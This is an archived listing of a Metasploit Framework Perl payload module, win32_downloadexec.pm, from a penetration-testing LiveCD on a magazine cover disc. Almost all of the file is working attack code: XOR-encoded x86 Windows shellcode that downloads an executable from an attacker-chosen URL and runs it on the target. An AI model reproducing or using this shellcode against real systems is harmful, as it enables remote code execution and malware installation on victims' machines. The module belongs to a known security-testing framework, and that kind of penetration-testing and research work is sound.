home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_downloadexec.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  80 lines

  1. package Msf::Payload::win32_downloadexec;
  2.  
  3. use strict;
  4. use base 'Msf::PayloadComponent::NoConnection';
  5.  
  6. my $info =
  7.   {
  8.     'Name'         => 'Windows Executable Download and Execute',
  9.     'Version'      => '$Revision: 1.1 $',
  10.     'Description'  => 'Download an EXE from a HTTP URL and execute it',
  11.     'Authors'      => [ 'lion[at]cnhonker.com', 'pita[at]mail.com', ],
  12.     'Arch'         => [ 'x86' ],
  13.     'Priv'         => 0,
  14.     'OS'           => [ 'win32' ],
  15.     'Size'         => '',
  16.     'UserOpts'     =>
  17.       {
  18.         'URL' => [1, 'DATA', 'Complete URL to the target EXE'],
  19.       },
  20.   };
  21.  
  22. sub new
  23. {
  24.     my $class = shift;
  25.     my $hash = @_ ? shift : { };
  26.     my $self;
  27.  
  28.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  29.     $self = $class->SUPER::new($hash, @_);
  30.     $self->_Info->{'Size'} = $self->_GenSize;
  31.  
  32.     return($self);
  33. }
  34.  
  35. sub Build {
  36.     my $self = shift;
  37.     return($self->Generate());
  38. }
  39.  
  40. sub Generate {
  41.     my $self = shift;
  42.     my $url = $self->GetVar('URL');
  43.  
  44.     my $shellcode =
  45.       "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA".
  46.       "\xEB\x05\xE8\xEB\xFF\xFF\xFF".
  47.       "\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12".
  48.       "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A".
  49.       "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6".
  50.       "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D".
  51.       "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A".
  52.       "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58".
  53.       "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0".
  54.       "\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41".
  55.       "\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19".
  56.       "\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE".
  57.       "\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99".
  58.       "\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE".
  59.       "\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA".
  60.       "\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66\xDE".
  61.       "\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE\xFC".
  62.       "\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB\xE0".
  63.       "\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD\xF1".
  64.       "\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0".
  65.       "\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE\xF7".
  66.       "\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99".
  67.       $url.
  68.       "\x80";
  69.  
  70.     return($shellcode);
  71. }
  72.  
  73. sub _GenSize {
  74.     my $self = shift;
  75.     my $bin = $self->Generate('');
  76.     return(length($bin));
  77. }
  78.  
  79. 1;
  80.